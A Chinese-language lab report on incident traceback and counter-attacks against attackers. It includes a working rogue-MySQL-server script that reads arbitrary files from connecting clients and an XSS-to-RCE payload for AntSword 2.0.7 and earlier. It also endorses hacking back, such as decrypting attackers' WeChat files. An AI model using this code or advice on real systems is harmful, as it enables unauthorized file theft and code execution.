概述
模拟蓝队,对模拟攻击进行反制。
记录模拟攻击的过程和模拟反制的过程、效果
溯源
在安全事件确认后,我们需要追踪和查找对方的攻击来源,这个过程被称为溯源。溯源的目标是获取攻击者的相关信息并取证,一般可以分为以下三个步骤:
-
寻找攻击痕迹:根据安全事件的描述,我们需要确定攻击的方式,例如主机卡顿或网页被篡改。然后,我们通过查看日志、网络痕迹和进程信息等方面来寻找攻击者的痕迹。这些痕迹包括系统日志记录、网络数据包、异常进程或文件等。
-
识别网络资产:如果我们找到了攻击者的IP地址,我们可以通过进行网络资产识别来获取更多相关信息。可以使用一些工具和服务,如域名查询、反向IP查询等,来了解攻击者所使用的网络资产,例如域名、服务器和ISP等。
如果无法获取其他信息,只知道对方的IP地址,我们可以采取反向渗透的方式。通过获取对方的办公文件、社交媒体信息等,例如微信的缓存文件,我们可以尝试解密和分析这些文件,以获取更多有关攻击者的线索。
-
关联资产与人员:通过收集的证据和信息,我们可以尽可能地搜索与攻击者相关的人员信息。这可能包括使用相同IP地址的其他活动或者其他可追溯的线索,以进一步了解攻击者的身份和动机。
反制
为了应对安全威胁,我们可以采取技术手段和非技术手段来进行反制。
技术手段:
-
分析对方工具的漏洞:通过对攻击者使用的工具进行漏洞分析,可以帮助我们了解攻击的方式和弱点,进而采取相应的防护措施。
-
蜜罐:建立一个虚拟的环境或系统,模拟真实的目标,并吸引攻击者进行攻击。通过蜜罐,我们可以获取攻击者的行为数据和策略,及时了解攻击的特征和漏洞,以便进一步加强防御和采取反制措施。
非技术手段:
-
钓鱼和反钓鱼:通过钓鱼技术,我们可以诱使攻击者暴露自己的身份或敏感信息,以便更好地了解对方和采取反制措施。同时,反钓鱼措施可以帮助我们防止自己成为攻击的目标,提高安全意识和防范能力。
-
从攻击者目的思考反向获取对方信息:通过分析攻击者的目的和动机,我们可以推测攻击者可能会暴露的信息或者留下的线索。通过这种思考方式,我们可以尝试反向获取攻击者的信息,并采取相应的行动。
反制措施可以根据直接反制和钓鱼反制来分类。直接反制是指对攻击者直接采取攻击行为,以使其无法继续攻击或者暴露其身份。钓鱼反制是通过引诱攻击者进入特定的环境或系统,以便我们获取更多有关攻击者的信息,同时降低攻击对真实系统的影响。
实验内容
反制MySQL客户端
蜜罐的定义
蜜罐是一种安全资源,通过设置虚拟的、有意诱导的系统来吸引攻击者入侵,以便收集攻击数据、行为信息和取证。与没有任何防护措施的计算机不同,蜜罐看似易受攻击,但实际上是经过精心布置的陷阱,旨在让黑客入侵,并帮助我们了解攻击者的行为和策略。
伪造MySQL服务端
在蜜罐的应用中,我们可以伪造一个MySQL服务端,即使不完全实现MySQL的所有功能,只需要针对特定的语法进行处理即可。我们主要关注的是"LOAD DATA INFILE"语法,它用于将文件的内容加载到MySQL表中。在这种情况下,我们可以使用"LOAD DATA LOCAL INFILE"这种形式来读取攻击者客户端上的文件,而不是服务器本地文件。
通过设置虚假的MySQL服务端,我们可以诱使攻击者连接到该服务端,并在攻击者的客户端执行恶意指令时利用已知的漏洞,读取攻击者计算机上的文件。这样可以帮助我们获取攻击者的信息、了解攻击方式,并进一步加强对攻击的防御措施。
# exp_dicc.py
# -*- coding: utf-8 -*-
import socket
import os
import sys
from pathlib import Path
import platform
class MySQLFileReader:
def __init__(self, port):
"""
初始化MySQLFileReader对象
参数:
port (int): 监听的端口号
"""
self.port = port
self.sv = socket.socket()
self.sv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sv.bind(("", port))
self.sv.listen(5)
def mysql_get_file_content(self, filename):
"""
从MySQL服务器获取文件内容
参数:
filename (str): 要获取内容的文件名
返回:
bool: 文件是否成功获取的布尔值
"""
conn, address = self.sv.accept()
print(f"收到连接: {address[0]}")
# 创建保存日志的路径
logpath = os.path.abspath('.') + "/log/" + address[0]
if not os.path.exists(logpath):
os.makedirs(logpath)
# 根据操作系统设置服务器版本
server_version = b"\x0a\x35\x2e\x35\x2e\x35\x33" # 默认为Windows版本
if platform.system() == "Linux":
server_version = b"\x0a\x35\x2e\x37\x2e\x32\x39" # Linux版本
# 发送握手消息
conn.sendall(b"\x4a\x00\x00\x00" + server_version + b"\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
conn.sendall(b"\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
# 构造要获取文件的请求
wantfile = (len(filename) + 1).to_bytes(1, 'big') + b"\x00\x00\x01\xFB" + filename.encode()
conn.sendall(wantfile)
content = conn.recv(9999)
conn.close()
# 判断是否成功获取文件内容
if len(content) > 4:
content_str = content.decode()
with open(logpath + "/" + Path(filename).name, "w") as txt:
txt.write(content_str)
print(f"文件内容: \n{content_str}")
return True
else:
return False
def read_files_from_input(self):
"""
从用户输入读取要获取的文件名,并调用mysql_get_file_content方法获取文件内容
"""
print(f"已在 {self.port} 端口启用MySQL蜜罐")
while True:
filename = input("请输入接下来你想读的文件名 (直接按回车退出): ")
if filename == "":
break
res = self.mysql_get_file_content(filename)
if res:
print(f"文件已保存 ---> {filename}")
else:
print(f"文件未找到 ---> {filename}")
def read_files_from_dict(self, dict_file):
"""
从字典文件中读取文件名,并调用mysql_get_file_content方法获取文件内容
参数:
dict_file (str): 包含文件名列表的字典文件路径
"""
print(f"已在 {self.port} 端口启用MySQL蜜罐")
with open(dict_file) as dicc:
for line in dicc.readlines():
line = line.strip("\n")
res = self.mysql_get_file_content(line)
if res:
print(f"文件已保存 ---> {line}")
else:
print(f"文件未找到 ---> {line}")
if __name__ == "__main__":
port = int(input("请输入监听端口号: "))
mode = input('''
请选择读取模式:
【1】从输入读取文件
''')
mysql_file_reader = MySQLFileReader(port)
if mode == '1':
mysql_file_reader.read_files_from_input()
else:
print("无效的模式选择,请重新运行程序并输入正确的模式。")
运行 exp_dicc.py 文件
python exp_dicc.py
#设置监听端口3306
#设置读取模式,这里选1,输入读取文件的路径
C:/windows/win.ini
用 Navicat 连接 MySQL 蜜罐
文件被保存在 exp_dicc.py
运行目录下的 /log/127.0.0.1/win.ini
反制蚁剑低版本
实验原理
蚁剑(AntSword)是一款开源的跨平台WebShell管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。
蚁剑分为加载器和核心模块两部分,核心源码可由加载器自动下载。
漏洞要求 AntSword <=2.0.7
中国蚁剑存在 XSS 漏洞,借此可引起 RCE。据悉,该漏洞是因为在 webshell 远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是 html 解析,导致 xss 漏洞。
安装蚁剑2.0.7版本
zhuanlan.zhihu.com/p/419012604…
运行 AntSword-Loader-2.0.1
,将代码目录设为 antSword-2.0.7
即可。
用phpenv搭建web服务设置 webshell
用蚁剑连接 Webshell
反制蚁剑
修改木马代码
<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ?>
<?php
和?>
是 PHP 代码的起始和结束标记,用于标识其中的 PHP 代码。header('HTTP/1.1 500 <img src=# onerror=alert(1)>');
是一个header()
函数的调用,用于设置 HTTP 响应头中的状态码和状态信息。在这个例子中,状态码设置为 500,状态信息设置为<img src=# onerror=alert(1)>
。- HTTP/1.1 是 HTTP 协议的版本号。
- 500 是表示服务器内部错误的 HTTP 状态码。当服务器在处理请求时遇到错误时,可以返回 500 状态码来指示错误的发生。
<img src=# onerror=alert(1)>
是作为状态信息的一部分。在这个例子中,它是一个 HTML 图像元素的片段,其中包含一个onerror
事件处理程序,当加载图像失败时,会执行alert(1)
弹出一个警告框,显示数字 1。
这段代码的目的是通过设置 HTTP 响应头来指示服务器返回一个 500 状态码和特定的状态信息,其中的状态信息包含了一个包含 JavaScript 代码的图像元素。如果浏览器在解析和显示这个状态信息时执行了其中的 JavaScript 代码,就会弹出一个警告框,显示数字 1。
蚁剑支持 nodejs
脚本,因此可以基于 nodejs
实现RCE
// 打开计算器
const { exec } = require('child_process');
exec('calc');
进行base64编码
修改木马代码
<?PHP
header("HTTP/1.1 500 Not \<img src=# onerror='eval(new Buffer(`Y29uc3QgeyBleGVjIH0gPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJyk7CmV4ZWMoJ2NhbGMnKTs=`,`base64`).toString())'>");
?>
实验总结
实验过程中,我首先了解了溯源的概念和流程,学会了通过寻找攻击痕迹、识别网络资产和关联资产与人员等步骤来追踪和查找攻击者的相关信息。这让我认识到在处理安全事件时,溯源是一个重要的工作,可以帮助我们了解攻击的方式、攻击者的身份和动机,为后续的防御和取证工作提供基础。
在实验的反制部分,我学习了技术手段和非技术手段两种反制方式。技术手段包括分析对方工具的漏洞和建立蜜罐等,这些手段可以帮助我们了解攻击的方式和弱点,并及时采取防护措施。非技术手段包括钓鱼和反钓鱼,通过诱使攻击者暴露身份或敏感信息以及从攻击者目的思考反向获取对方信息等方式,可以帮助我们获取攻击者的线索和信息,并加强安全意识和防范能力。
在具体实验内容中,我通过搭建蜜罐、模拟攻击和反制攻击的过程,深入理解了蜜罐的原理和作用。通过伪造MySQL服务端、利用已知的漏洞读取攻击者的文件,我了解到蜜罐可以吸引攻击者并获取其行为数据和策略,帮助我们了解攻击的特征和漏洞,并进一步加强防御措施。
此外,我还学习了利用蚁剑低版本的 XSS 漏洞进行反制的方法。通过安装蚁剑低版本、设置 webshell、连接蚁剑、修改木马代码等步骤,我了解到漏洞的利用和防范是一个不断博弈的过程,安全意识和及时更新漏洞补丁是非常重要的。
通过这次实验,我深刻认识到网络安全是一个持续不断的斗争过程,攻击者和防御者不断地进行对抗和演进。只有不断学习新知识、了解最新的攻击方式和防御技术,才能更好地应对安全威胁,保护网络和信息的安全。